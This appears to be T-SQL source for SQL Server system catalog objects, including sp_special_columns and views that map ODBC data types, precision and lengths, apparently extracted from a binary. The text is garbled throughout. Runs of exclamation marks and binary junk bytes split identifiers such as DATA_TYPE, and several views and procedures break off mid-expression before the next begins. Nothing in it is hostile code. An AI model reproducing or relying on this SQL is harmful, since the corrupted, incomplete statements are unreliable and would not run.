        TYPE_NAME               = case
                                      when #tmp_columns.DATA_TYPE = @ODBC_BINARY and
                                           (COLUMN_FLAGS & @DBCOLUMNFLAGS_ISROWVER) = @DBCOLUMNFLAGS_ISROWVER and
                                           (COLUMN_FLAGS & @DBCOLUMNFLAGS_ISFIXEDLENGTH) = @DBCOLUMNFLAGS_ISFIXEDLENGTH and
                                           BUFFER_LENGTH = 8
                                          then 'timestamp'
                                      when #tmp_columns.DATA_TYPE = @ODBC_DATETIME and
                                           (COLUMN_FLAGS & @DBCOLUMNFLAGS_SS_ISVARIABLESCALE) = @DBCOLUMNFLAGS_SS_ISVARIABLESCALE
                                          then 'datetime2'
                                      when #tmp_columns.DATA_TYPE = @ODBC_DATETIME and
                                           #tmp_columns.SQL_DATETIME_SUB = 3
                                          then 'datetime'
                                      when #tmp_columns.DATA_TYPE = @ODBC_DATETIME and
                                           #tmp_columns.SQL_DATETIME_SUB = 0
                                          then 'smalldatetime'
                                      when #tmp_columns.DATA_TYPE = @ODBC_MONEY and
                                           #tmp_columns.COLUMN_SIZE = 10
                                          then 'smallmoney'
                                      when (#tmp_columns.DATA_TYPE in (@ODBC_BINARY, @ODBC_CHAR) and
                                            (COLUMN_FLAGS & @DBCOLUMNFLAGS_ISFIXEDLENGTH) = @DBCOLUMNFLAGS_ISFIXEDLENGTH) or
                                           #tmp_columns.DATA_TYPE in (@ODBC_TEXT, @ODBC_NTEXT, @ODBC_IMAGE)
                                          then spt_dt.TYPE_NAME collate catalog_default
                                      else isnull(#tmp_columns.TYPE_NAME, spt_dt.TYPE_NAME collate catalog_default)
                                  end,
        COLUMN_SIZE             = case
                                      when #tmp_columns.DATA_TYPE IN (@ODBC_REAL, @ODBC_FLOAT) then -- app. numeric types
                                          spt_dt.data_precision
                                      when #tmp_columns.DATA_TYPE = @ODBC_DATETIME and
                                           (COLUMN_FLAGS & @DBCOLUMNFLAGS_SS_ISVARIABLESCALE) = @DBCOLUMNFLAGS_SS_ISVARIABLESCALE
                                          then
                                              case
                                                  when #tmp_columns.SQL_DATETIME_SUB = 0
                                                      then 19
                                                  else
                                                      (20 + #tmp_columns.SQL_DATETIME_SUB)
                                                  end
                                      when #tmp_columns.DATA_TYPE = @ODBC_DATETIME and
                                           #tmp_columns.SQL_DATETIME_SUB = 0
                                          then 16
                                      when #tmp_columns.DATA_TYPE = @ODBC_DATETIME and
                                           #tmp_columns.SQL_DATETIME_SUB = 3
                                          then 23
                                      when #tmp_columns.DATA_TYPE = @ODBC_TIME2
                                          then
                                              case
                                                  when #tmp_columns.SQL_DATETIME_SUB = 0
                                                      then 8
                                                  else
                                                      (9 + #tmp_columns.SQL_DATETIME_SUB)
                                                  end
                                      when #tmp_columns.DATA_TYPE = @ODBC_DATETIMEOFFSET
                                          then
                                              case
                                                  when #tmp_columns.SQL_DATETIME_SUB = 0
                                                      then 26
                                                  else
                                                      (27 + #tmp_columns.SQL_DATETIME_SUB)
                                                  end
                                      else #tmp_columns.COLUMN_SIZE
                                  end,
        BUFFER_LENGTH           = case
                                      when #tmp_columns.DATA_TYPE IN (@ODBC_NUMERIC, @ODBC_DECIMAL) then  -- decimal/numeric types
                                          COLUMN_SIZE+2
                                      when isnull (#tmp_columns.BUFFER_LENGTH,0) = 0 then coalesce(spt_dt.length, spt_dt.data_precision)
                                      else #tmp_columns.BUFFER_LENGTH
                                  end,
        DECIMAL_DIGITS          = case
                                      when #tmp_columns.DATA_TYPE = @ODBC_DATETIME or
                                           #tmp_columns.DATA_TYPE = @ODBC_TIME2 or
                                           #tmp_columns.DATA_TYPE = @ODBC_DATETIMEOFFSET or
                                           #tmp_columns.DATA_TYPE = @ODBC_DATE
                                          then #tmp_columns.SQL_DATETIME_SUB
                                      else COALESCE (DECIMAL_DIGITS, spt_dt.numeric_scale)
                                  end,
        NUM_PREC_RADIX          = spt_dt.RADIX,
        SQL_DATA_TYPE           = spt_dt.SQL_DATA_TYPE,
        SQL_DATETIME_SUB        = case -- used to be temporary holder for DATETIME_PRECISION, update it here
                                      when #tmp_columns.DATA_TY!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<}6$]u7!
PE = @ODBC_DATETIME
                                            then 3 -- SQL_CODE_TIMESTAMP
                                      when #tmp_columns.DATA_TYPE = @ODBC_DATE
                                            then 1 -- SQL_CODE_DATE
                                      when #tmp_columns.DATA_TYPE in (@ODBC_TIME2, @ODBC_DATETIMEOFFSET)
                                            then 0
                                      else null
                                  end,
        -- Info here is for backward compatibility - SQL 6.5
        SS_DATA_TYPE            = case
                                      when #tmp_columns.DATA_TYPE in ( @ODBC_TINYINT, @ODBC_SMALLINT, @ODBC_INT )
                                          and #tmp_columns.NULLABLE = 1
                                              then @ODS_INT_NULL
                                      when #tmp_columns.DATA_TYPE = @ODBC_TINYINT and #tmp_columns.NULLABLE = 0
                                          then @ODS_TINYINT_NOT_NULL
                                      when #tmp_columns.DATA_TYPE = @ODBC_SMALLINT    and #tmp_columns.NULLABLE = 0
                                          then @ODS_SMALLINT_NOT_NULL
                                      when #tmp_columns.DATA_TYPE = @ODBC_INT  and #tmp_columns.NULLABLE = 0
                                          then @ODS_INT_NOT_NULL
                                      when #tmp_columns.DATA_TYPE in (@ODBC_REAL, @ODBC_FLOAT) and #tmp_columns.NULLABLE = 1
                                          then @ODS_FLOAT_NULL
                                      when #tmp_columns.DATA_TYPE = @ODBC_REAL and #tmp_columns.NULLABLE = 0
                                          then @ODS_REAL_NOT_NULL
                                      when #tmp_columns.DATA_TYPE = @ODBC_FLOAT and #tmp_columns.NULLABLE = 0
                                          then @ODS_FLOAT_NOT_NULL
                                      when #tmp_columns.DATA_TYPE = @ODBC_MONEY and #tmp_columns.NULLABLE = 1
                                          then @ODS_MONEY_NULL
                                      when #tmp_columns.DATA_TYPE = @ODBC_MONEY and #tmp_columns.NULLABLE = 0
                                          then @ODS_MONEY_NOT_NULL
                                      -- New date/time types introduced in Katmai return 0
                                      when #tmp_columns.DATA_TYPE = @ODBC_DATETIME and
                                           (COLUMN_FLAGS & @DBCOLUMNFLAGS_SS_ISVARIABLESCALE) = @DBCOLUMNFLAGS_SS_ISVARIABLESCALE
                                          then 0
                                      when #tmp_columns.DATA_TYPE in (@ODBC_DATE, @ODBC_TIME2, @ODBC_DATETIMEOFFSET)
                                          then 0
                                      when #tmp_columns.DATA_TYPE = @ODBC_DATETIME and #tmp_columns.NULLABLE = 1
                                          then @ODS_DATETIME_NULL
                                      when #tmp_columns.DATA_TYPE = @ODBC_DATETIME and #tmp_columns.NULLABLE = 0
                                          then @ODS_DATETIME_NOT_NULL
                                      when #tmp_columns.DATA_TYPE in (@ODBC_NTEXT, @ODBC_TEXT)
                                          then @ODS_TEXT
                                      when #tmp_columns.DATA_TYPE = @ODBC_BIT
                                          then @ODS_BIT
                                      when #tmp_columns.DATA_TYPE = @ODBC_DECIMAL
                                          then @ODS_DECIMAL
                                      when #tmp_columns.DATA_TYPE = @ODBC_NUMERIC
                                          then @ODS_NUMERIC
                                      when #tmp_columns.DATA_TYPE = @ODBC_GUID
                                          then @ODS_GUID
                                      when #tmp_columns.DATA_TYPE = @ODBC_IMAGE
                                          then @ODS_IMAGE
                                      when #tmp_columns.DATA_TYPE = @ODBC_TIMESTAMP
                                          and (COLUMN_FLAGS & @DBCOLUMNFLAGS_ISROWVER) = @DBCOLUMNFLAGS_ISROWVER and
                                              (COLUMN_FLAGS & @DBCOLUMNFLAGS_ISFIXEDLENGTH) = @DBCOLUMNFLAGS_ISFIXEDLENGTH and
                                              BUFFER_LENGTH = 8
                                          then @ODS_TIMESTAMP
                                      when #tmp_columns.DATA_TYPE = @ODBC_BINARY and #tmp_columns.NULLABLE =  1
                                          and (COLUMN_FLAGS & @DBCOLUMNFLAGS_ISFIXEDLENGTH = @DBCOLUMNFLAGS_ISFIXEDLENGTH)
                                          then  @ODS_BINARY_NULL
                                      when #tmp_columns.DATA_TYPE = @ODBC_BINARY and #tmp_columns.NULLABLE =  0
                                          and (COLUMN_FLAGS & @DBCOLUMNFLAGS_ISFIXEDLENGTH = @DBCOLUMNFLAGS_ISFIXEDLENGTH)
                                          then @ODS_BINARY_NOT_NULL
                                      when #tmp_columns.DATA_TYPE = @ODBC_VARBINARY
                                          then @ODS_VARBINARY
                                      when #tmp_columns.DATA_TYPE in (@ODBC_CHAR, @ODBC_NCHAR) and #tmp_columns.NULLABLE = 1
                                          then @ODS_CHAR_NULL
                                      when #tmp_columns.DATA_TYPE in (@ODBC_CHAR, @ODBC_NCHAR) and #tmp_columns.NULLABLE = 0
                                          then @ODS_CHAR_NOT_NULL
                                      when #tmp_columns.DATA_TYPE in (@ODBC_VARCHAR, @ODBC_NVARCHAR)
                                          then @ODS_VARCHAR
                                      else null
                                  end
        from
            sys.spt_datatype_info spt_dt
        where
            spt_dt.DATA_TYPE = #tmp_columns.DATA_TYPE and
            spt_dt.ODBCVer = @ODBCVer and
            spt_dt.AUTO_INCREMENT = 0 and
            -- spt_datatype_info has a clustered index on ss_dtype so we should use always that
            -- rather than type name
            spt_dt.ss_dtype <> 58 and -- smalldatetime
            spt_dt.ss_dtype <> 61 and -- datetime
            spt_dt.ss_dtype <> 241    -- XML, DATA_TYPE for ntext and xml are the same, so allow just ntext here.
    --
    -- Final result is retunrned from the temporary table.
    --
    select
        TABLE_CAT,
        TABLE_SCHEM,
        TABLE_NAME,
        COLUMN_NAME,
        DATA_TYPE,
        TYPE_NAME,
        COLUMN_SIZE,
        BUFFER_LENGTH,
        DECIMAL_DIGITS,
        NUM_PREC_RADIX,
        NULLABLE,
        REMARKS,
        COLUMN_DEF,
        SQL_DATA_TYPE,
        SQL_DATETIME_SUB,
        CHAR_OCTET_LENGTH,
        ORDINAL_POSITION,
        IS_NULLABLE,
        SS_IS_SPARSE,
        SS_IS_COLUMN_SET,
        SS_IS_COMPUTED,
        SS_IS_IDENTITY,
        SS_UDT_CATALOG_NAME,
        SS_UDT_SCHEMA_NAME,
        SS_UDT_ASSEMBLY_TYPE_NAME,
        SS_XML_SCHEMACOLLECTION_CATALOG_NAME,
        SS_XML_SCHEMACOLLECTION_SCHEMA_NAME,
        SS_XML_SCHEMACOLLECTION_NAME,
        SS_DATA_TYPE
    from
        #tmp_columns
    order by TABLE_CAT, TABLE_SCHEM, TABLE_NAME, ORDINAL_POSITION

    drop table #tmp_columns

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(p6v@_
create view sys.spt_datatype_info_view
as
    select
        ODBCVer             = d.ODBCVer,
        TYPE_NAME           = convert(sysname,
                                      case
                                        when (t.system_type_id = 240 or t.user_type_id > 255) then t.name
                                        else d.TYPE_NAME collate catalog_default
                                      end),
        DATA_TYPE           = d.DATA_TYPE,
        DATA_TYPE_90        = convert(smallint,
                                      case
                                        when d.ss_dtype in (40,41,42,43) then -- DATE/TIME/DATETIME2/DATETIMEOFFSET
                                          -9  -- SQL_WVARCHAR
                                        else
                                          d.DATA_TYPE
                                      end),
        DATA_TYPE_28        = convert(smallint, -- backward-compatible ODBC types
                                      case
                                        when (d.ss_dtype = 241) then -- XML
                                          -10
                                        when d.ss_dtype in (40, 41, 42, 43) then -- DATE/TIME/DATETIME2/DATETIMEOFFSET
                                          -9  -- SQL_WVARCHAR
                                        else
                                          d.DATA_TYPE
                                      end),
        PRECISION           = convert(int,
                                      case
                                        when (d.DATA_TYPE in (6,7,-150)) or (d.ss_dtype = 241)
                                          then d.data_precision   -- FLOAT/REAL/sql_variant/XML for Yukon+
                                        when d.ss_dtype in (106,108) and t.user_type_id <= 255
                                          then @@max_precision    -- DECIMAL/NUMERIC
                                        else OdbcPrec(t.system_type_id, t.max_length, t.precision)
                                      end),
        PRECISION_28        = convert(int,
                                      case
                                        when (d.DATA_TYPE in (6,7,-150))
                                          then d.data_precision   -- FLOAT/REAL/sql_variant
                                        when (d.ss_dtype = 241)
                                          then 1073741823         -- XML is the same as ntext for pre-Yukon clients
                                        when d.ss_dtype in (106,108) and t.user_type_id <= 255
                                          then @@max_precision    -- DECIMAL/NUMERIC
                                        else OdbcPrec(t.system_type_id, t.max_length, t.precision)
                                      end),
        LITERAL_PREFIX      = d.LITERAL_PREFIX,
        LITERAL_SUFFIX      = d.LITERAL_SUFFIX,
        CREATE_PARAMS       = e.CREATE_PARAMS,
        CREATE_PARAMS_90    = convert(varchar(32),
                                      case
                                        when d.ss_dtype in (40,41,42,43) then
                                          null -- DATE/TIME/DATETIME2/DATETIMEOFFSET
                                        else
                                          e.CREATE_PARAMS
                                      end),
        NULLABLE            = convert(smallint,
                                      case
                                        when d.AUTO_INCREMENT = 1 then 0 -- IDENTITY
                                        else TypeProperty (t.name, 'AllowsNull')
                                      end),
        CASE_SENSITIVE      = convert (smallint,
                                       case
                                         when d.DATA_TYPE in (1, -1, 12, -8, -9, -10) then -- char/text/varchar/nchar/nvarchar/ntext
                                            case
                                              when 'a' <> 'A' then 1
                                              else 0
                                            end
                                         when d.DATA_TYPE = -152 then 1 -- SQL_SS_XML is always case sensitive
                                         else 0
                                       end),
        CASE_SENSITIVE_28   = convert (smallint,
                                       case
                                         when d.ss_dtype = 241 then 1 -- SQL_SS_XML is always case sensitive
                                         when d.DATA_TYPE in (1, -1, 12, -8, -9, -10) then -- char/text/varchar/nchar/nvarchar/ntext
                                           case
                                             when 'a' <> 'A' then 1
                                             else 0
                                           end
                                         else 0
                                       end),
        SEARCHABLE          = d.SEARCHABLE,
        UNSIGNED_ATTRIBUTE  = d.UNSIGNED_ATTRIBUTE,
        MONEY               = d.MONEY,
        AUTO_INCREMENT      = convert(smallint,
                                      case -- money/float/real/tinyint/smallmoney/smallint/int/decimal/numeric/bigint
                                        when d.ss_dtype in (60, 62, 59, 122, 48, 52, 56, 106, 108, 127)
                                        then d.AUTO_INCREMENT
                                        else null -- not applicable for other types
                                      end),
        LOCAL_TYPE_NAME     = convert(sysname,
                                      case
                                        when (t.system_type_id = 240 or t.user_type_id > 255) then t.name
                                        else d.LOCAL_TYPE_NAME collate catalog_default
                                      end),
        MINIMUM_SCALE       = convert(smallint,
                                      case
                                        when d.ss_dtype in (106,108) and t.user_type_id > 255
                                          then TypeProperty (t.name, 'Scale')
                                        when d.ss_dtype in (41,42,43)
                                          then 0 -- TIME2/DATETIME2/DATETIMEOFFSET
                                        else d.numeric_scale
                                      end),
        MINIMUM_SCALE_90    = convert(smallint,
                                      case
                                        when d.ss_dtype in (106,108) and t.user_type_id > 255
                                          then TypeProperty (t.name, 'Scale')
                                        when d.ss_dtype in (40,41,42, 43)
                                          then null -- DATE/TIME2/DATETIME2/DATETIMEOFFSET
                                        else d.numeric_scale
                                      end),
        MAXIMUM_SCALE       = convert(smallint,
                                      case
                                        when d.ss_dtype in (106,108) and d.AUTO_INCREMENT = 0 and t.user_type_id <= 255
                                          then @@max_precision -- DECIMAL/NUMERIC
                                        when (d.ss_dtype in (106,108) and d.AUTO_INCREMENT = 1) or (d.ss_dtype in (98, 104))
                                          then 0 -- DECIMAL/NUMERIC IDENTITY/SQL_VARIANT/BIT
                                        else TypeProperty (t.name, 'Scale')
                                      end),
        MAXIMUM_SCALE_90    = convert(smallint,
                                      case
                                        when d.ss_dtype in (106,108) and d.AUTO_INCREMENT = 0 and t.user_type_id <= 255
                                          then @@max_precision -- DECIMAL/NUMERIC
                                        when (d.ss_dtype in (106,108) a!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<($7_v{
create procedure sys.sp_special_columns
(
    @table_name         sysname,         -- Wildcard pattern matching IS NOT supported.
    @table_owner        sysname = null,  -- Wildcard pattern matching IS NOT supported.
    @table_qualifier    sysname = null,
    @col_type           char(1) = 'R',
    @scope              char(1) = 'T',   -- Not used in the search criteria.
    @nullable           char(1) = 'U',
    @ODBCVer            int = 2
)
as
    declare @index_id           int
    declare @table_id           int
    -- quotename() returns up to 258 chars
    declare @full_table_name    nvarchar(517) -- 258 + 1 + 258
    declare @scopeout           smallint

    if @col_type not in ('R','V') or @col_type is null
    begin
        raiserror (15251,-1,-1,'col_type','''R'' or ''V''')
        return
    end

    if @scope = 'C'
        select @scopeout = 0
    else if @scope = 'T'
        select @scopeout = 1
    else
    begin
        raiserror (15251,-1,-1,'scope','''C'' or ''T''')
        return
    end

    if @nullable not in ('U','O') or @nullable is null
    begin
        raiserror (15251,-1,-1,'nullable','''U'' or ''O''')
        return
    end

    if @table_qualifier is not null
    begin
        if db_name() <> @table_qualifier
        begin -- If qualifier doesn't match current database
            raiserror (15250, -1,-1)
            return
        end
    end
    if @table_owner is null
    begin    -- If unqualified table name
        select @full_table_name = quotename(@table_name)
    end
    else
    begin   -- Qualified table name
        if @table_owner = ''
        begin   -- If empty owner name
            select @full_table_name = quotename(@table_owner)
        end
        else
        begin
            select @full_table_name = quotename(@table_owner) + '.' + quotename(@table_name)
        end
    end

    --  Get Object ID
    select @table_id = object_id(@full_table_name)

    if (@table_id is null) -- Return empty resultset if table doesn't exist
    begin
        select
            SCOPE           = convert(smallint,0),
            COLUMN_NAME     = convert(sysname,NULL),
            DATA_TYPE       = convert(smallint,0),
            TYPE_NAME       = convert(sysname,NULL),
            "PRECISION"     = convert(int,0),
            "LENGTH"        = convert(int,0),
            SCALE           = convert(smallint,0),
            PSEUDO_COLUMN   = convert(smallint,0)
        where
            1=0
        return
    end

    if @col_type = 'V'
    begin -- if ROWVER, just run that query
        select
            SCOPE           = convert(smallint,NULL),
            COLUMN_NAME     = convert(sysname,c.name),
            DATA_TYPE       = convert(smallint, -2),
            TYPE_NAME       = t.name,
            "PRECISION"     = convert(int,8),
            "LENGTH"        = convert(int,8),
            SCALE           = convert(smallint, NULL),
            PSEUDO_COLUMN   = convert(smallint,1)
        from
            sys.types t,
            sys.all_columns c
        where
            c.object_id = @table_id and
            t.name = 'timestamp' and
            t.user_type_id = c.system_type_id and
            t.user_type_id = c.user_type_id
        return
    end

    -- ROWID, now find the id of the 'best' index for this table

    if @nullable = 'O'  -- Don't include any indexes that contain nullable columns.
        select
            @index_id = MIN(x.index_id)
        from
            sys.indexes x,
            sys.all_columns c,
            sys.all_columns c2
        where
            x.is_unique = 1 and -- If Unique Index
            x.object_id = @table_id and
            x.index_id > 0 and  -- Eliminate Table Row
            c.object_id = x.object_id and
            c2.object_id = c.object_id and
            c.name = index_col(@table_name,x.index_id,c2.column_id)
        group by
            x.index_id HAVING SUM(convert (int, c.is_nullable)) = 0
    else    -- Include indexes that are partially nullable.
        select
            @index_id = MIN(x.index_id)
        from
            sys.indexes x
        where
            x.is_unique = 1 and -- If Unique Index
            x.object_id = @table_id and
            x.index_id > 0      -- Eliminate Table Row

    select
        SCOPE           = @scopeout,
        COLUMN_NAME     = convert(sysname,c.name),
        DATA_TYPE       = convert(smallint,
                                case
                                when (d.ss_dtype = 240) then -- CLR UDT
                                    -4
                                when (d.ss_dtype = 241) then -- XML
                                    -10
                                when (c.max_length = -1 and d.ss_dtype = 167) then -- varchar(max)
                                    -1
                                when (c.max_length = -1 and d.ss_dtype = 231) then -- nvarchar(max)
                                    -10
                                when (c.max_length = -1 and d.ss_dtype = 165) then -- varbinary(max)
                                    -4
                                when d.ss_dtype IN (40,41,42,43) then -- DATE/TIME/DATETIME2/DATETIMEOFFSET
                                     -9  -- SQL_WVARCHAR
                                else
                                    d.DATA_TYPE
                                end),
        TYPE_NAME       = convert(sysname,case
                                when (t.system_type_id = 240 or t.user_type_id > 255) then t.name
                                else d.TYPE_NAME collate catalog_default
                                  end),
        "PRECISION"     = convert(int,case
                                when d.DATA_TYPE in (6,7) then d.data_precision         -- FLOAT/REAL
                                when (c.max_length = -1 and d.ss_dtype = 240) then -- Large UDT => image for non-SNAC clients
                                    2147483647
                                else OdbcPrec(c.system_type_id,c.max_length,c.precision)
                                end),
        "LENGTH"        = convert(int,case
                                when type_name(d.ss_dtype) IN ('numeric','decimal') then    -- decimal/numeric types
                                  OdbcPrec(c.system_type_id,c.max_length,c.precision)+2
                                when (c.max_length = -1 and d.ss_dtype = 240) then -- Large UDT => image for non-SNAC clients
                                  2147483647
                                when d.ss_dtype IN (40,41,42,43) then 
                                  OdbcPrec(c.system_type_id,c.max_length,c.precision)*2 -- DATE/TIME/DATETIME2/DATETIMEOFFSET
                                else
                                  isnull(d.length, c.max_length)
                                end),
        SCALE           = convert(smallint,case
                                when d.ss_dtype IN (40,41,42,43) then null  -- DATE/TIME/DATETIME2/DATETIMEOFFSET
                                else OdbcScale(c.system_type_id,c.scale)
                                end),
        PSEUDO_COLUMN   = convert(smallint,1)
    from
        sys.columns c inner join
        sys.indexes x on
            (
                x.object_id = c.object_id and
                x.object_id = @table_id and
                x.index_id = @index_id
            ) inner join
        sys.types t on
            (
                t.user_type_id = c.user_type_id
            ) inner join
        sys.spt_datatype_info d on
            (
                d.ss_dtype = c.system_type_id and
                d.ODBCVer = @ODBCVer and
                d.AUTO_INCREMENT = c.is_identity
            ) inner join
        sys.columns c2 on -- Self-join to generate list of index columns and to extract datatype names.
            (
                I!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(7Xvg
create view sys.spt_sproc_columns_odbc_view
as
    -- (1) Generate resultset for user SProcs
    select
    -- begin (for doing joins)
        object_id                   = pro.object_id,
        schema_id                   = pro.schema_id,
        procedure_number            = pro.procedure_number,
        odbcver                     = d.odbcver,
    -- end (for doing joins)
        PROCEDURE_QUALIFIER = convert(sysname,db_name()),
        PROCEDURE_OWNER     = convert(sysname,schema_name(pro.schema_id)),
        PROCEDURE_NAME      = pro.name,
        COLUMN_NAME         = convert(sysname,
                                case
                                when s_ap.parameter_id = 0 -- UDF return value
                                then N'@RETURN_VALUE'
                                else s_ap.name
                                end),
        COLUMN_TYPE         = convert(smallint,
                                case
                                when s_ap.parameter_id = 0 -- UDF return value
                                then 5 -- SQL_RETURN_VALUE
                                else 1+s_ap.is_output
                                end),
        DATA_TYPE           = d.DATA_TYPE,
        DATA_TYPE_90        = convert(smallint, -- 9.0 compatible ODBC types
                                case
                                when d.ss_dtype IN (40, 41, 42, 43) then -- DATE/TIME/DATETIME2/DATETIMEOFFSET
                                     -9  -- SQL_WVARCHAR 
                                when (s_ap.max_length = 0 and d.ss_dtype = 240) then -- Large UDT => varbinary(max) for 9.0 clients
                                    -3
                                else 
                                    d.DATA_TYPE
                                end),
        DATA_TYPE_28        = convert(smallint, -- backward-compatible ODBC types
                                case
                                when (d.ss_dtype = 240) then -- CLR UDT
                                    -4
                                when (d.ss_dtype = 241) then -- XML
                                    -10
                                when (s_ap.max_length = 0 and d.ss_dtype = 167) then -- varchar(max)
                                    -1
                                when (s_ap.max_length = 0 and d.ss_dtype = 231) then -- nvarchar(max)
                                    -10
                                when (s_ap.max_length = 0 and d.ss_dtype = 165) then -- varbinary(max)
                                    -4
                                when  d.ss_dtype IN (40, 41, 42, 43) then -- DATE/TIME/DATETIME2/DATETIMEOFFSET
                                     -9  -- SQL_WVARCHAR
                                else
                                    d.DATA_TYPE
                                end),
        TYPE_NAME           = t.name,
        TYPE_NAME_28        = convert(sysname,
                                case
                                when (s_ap.max_length = 0 and d.ss_dtype = 167) then -- varchar(max)
                                    N'text'
                                when (s_ap.max_length = 0 and d.ss_dtype = 231) then -- nvarchar(max)
                                    N'ntext'
                                when (s_ap.max_length = 0 and d.ss_dtype = 165) then -- varbinary(max)
                                    N'image'
                                else
                                    t.name
                                end),
        "PRECISION"         = convert(int,
                                case
                                when d.DATA_TYPE in (6,7) then -- FLOAT/REAL
                                    d.data_precision 
                                when (s_ap.max_length = 0 and d.ss_dtype = 240) then -- Large UDT => same precision as varbinary(max)
                                    0
                                else
                                    OdbcPrec(s_ap.system_type_id,s_ap.max_length,s_ap.precision)
                                end),
        PRECISION_28        = convert(int,
                                case
                                when d.DATA_TYPE in (6,7) then -- FLOAT/REAL
                                    d.data_precision
                                when (d.ss_dtype = 241) then -- XML
                                    1073741823
                                when (s_ap.max_length = 0 and d.ss_dtype = 167) then -- varchar(max)
                                    2147483647
                                when (s_ap.max_length = 0 and d.ss_dtype = 231) then -- nvarchar(max)
                                    1073741823
                                when (s_ap.max_length = 0 and d.ss_dtype = 165) then -- varbinary(max)
                                    2147483647
                                when (s_ap.max_length = 0 and d.ss_dtype = 240) then -- Large UDT => image for non-SNAC clients
                                    2147483647
                                else
                                    OdbcPrec(s_ap.system_type_id,s_ap.max_length,s_ap.precision)
                                end),
        "LENGTH"            = convert(int,
                                case
                                when type_name(d.ss_dtype) IN ('numeric','decimal') then -- decimal/numeric types
                                    OdbcPrec(s_ap.system_type_id,s_ap.max_length,s_ap.precision)+2
                                when (d.DATA_TYPE = -151 and s_ap.max_length = 0) then -- Large UDT => same length as varbinary(max)
                                    0
                                when d.DATA_TYPE = -151 then -- Small UDT 
                                    t.max_length
                                else
                                    isnull(d.length, s_ap.max_length)
                                end),
        LENGTH_90            = convert(int,
                                case
                                when type_name(d.ss_dtype) IN ('numeric','decimal') then -- decimal/numeric types
                                    OdbcPrec(s_ap.system_type_id,s_ap.max_length,s_ap.precision)+2
                                when d.DATA_TYPE = -151 then -- CLR UDT
                                    t.max_length
                                when d.ss_dtype IN (40, 41, 42, 43) then -- DATE/TIME/DATETIME2/DATETIMEOFFSET
                                    OdbcPrec(s_ap.system_type_id,s_ap.max_length,s_ap.precision)*2
                                else
                                    isnull(d.length, s_ap.max_length)
                                end),
        LENGTH_28           = convert(int,
                                case
                                when type_name(d.ss_dtype) IN ('numeric','decimal') then -- decimal/numeric types
                                    OdbcPrec(s_ap.system_type_id,s_ap.max_length,s_ap.precision)+2
                                when (d.ss_dtype = 240 and s_ap.max_length = 0) then -- Large UDT => image for non-SNAC clients
                                    2147483647
                                when d.ss_dtype = 240 then -- Small UDT
                                    t.max_length
                                when (d.ss_dtype = 241) then -- XML
                                    2147483646
                                when (s_ap.max_length = 0 and d.ss_dtype = 167) then -- varchar(max)
                                    2147483647
                                when (s_ap.max_length = 0 and d.ss_dtype = 231) then -- nvarchar(max)
                                    2147483646
                                when (s_ap.max_length = 0 and d.ss_dtype = 165) then -- varbinary(max)
                                    2147483647
                                when d.ss_dtype IN (40, 41!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(7ԙ;vg, 42, 43) then -- DATE/TIME/DATETIME2/DATETIMEOFFSET
                                    OdbcPrec(s_ap.system_type_id,s_ap.max_length,s_ap.precision)*2
                                else
                                    isnull(d.length, s_ap.max_length)
                                end),
        SCALE               = convert(smallint,
                                case
                                when (d.DATA_TYPE = -151) then -- CLR UDT
                                    null
                                else
                                    OdbcScale(s_ap.system_type_id,s_ap.scale)
                                end),
        SCALE_90            = convert(smallint,
                                case
                                when (d.DATA_TYPE = -151) then -- CLR UDT
                                    null
                                when d.ss_dtype IN (40, 41, 42, 43) then  -- DATE/TIME/DATETIME2/DATETIMEOFFSET
                                    null
                                else
                                    OdbcScale(s_ap.system_type_id,s_ap.scale)
                                end),
        RADIX               = d.RADIX,
        NULLABLE            = d.NULLABLE,
        REMARKS             = convert(varchar(254),null),   -- Remarks are NULL
        COLUMN_DEF          = convert(nvarchar(4000),NULL),
        SQL_DATA_TYPE       = d.SQL_DATA_TYPE,
        SQL_DATA_TYPE_90	= convert(smallint,
                                case
                                when d.ss_dtype IN (40, 41, 42, 43) then  -- DATE/TIME/DATETIME2/DATETIMEOFFSET
                                     -9  -- SQL_WVARCHAR
                                when (s_ap.max_length = 0 and d.ss_dtype = 240) then -- Large UDT => varbinary(max) for 9.0 clients
                                    -3
                                else
                                    d.SQL_DATA_TYPE
                                end),
        SQL_DATA_TYPE_28    = convert(smallint, -- backward-compatible ODBC types
                                case
                                when (d.ss_dtype = 240) then -- CLR UDT
                                    -4
                                when (d.ss_dtype = 241) then -- XML
                                    -10
                                when (s_ap.max_length = 0 and d.ss_dtype = 167) then -- varchar(max)
                                    -1
                                when (s_ap.max_length = 0 and d.ss_dtype = 231) then -- nvarchar(max)
                                    -10
                                when (s_ap.max_length = 0 and d.ss_dtype = 165) then -- varbinary(max)
                                    -4
                                when d.ss_dtype IN (40, 41, 42, 43) then  -- DATE/TIME/DATETIME2/DATETIMEOFFSET
                                     -9  -- SQL_WVARCHAR
                                else
                                    d.SQL_DATA_TYPE
                                end),
        SQL_DATETIME_SUB    = d.SQL_DATETIME_SUB,
        SQL_DATETIME_SUB_90	= convert(smallint,
                                case
                                when d.ss_dtype IN (40, 41, 42, 43) then -- DATE/TIME/DATETIME2/DATETIMEOFFSET
                                    null
                                else
                                    d.SQL_DATETIME_SUB
                                end),
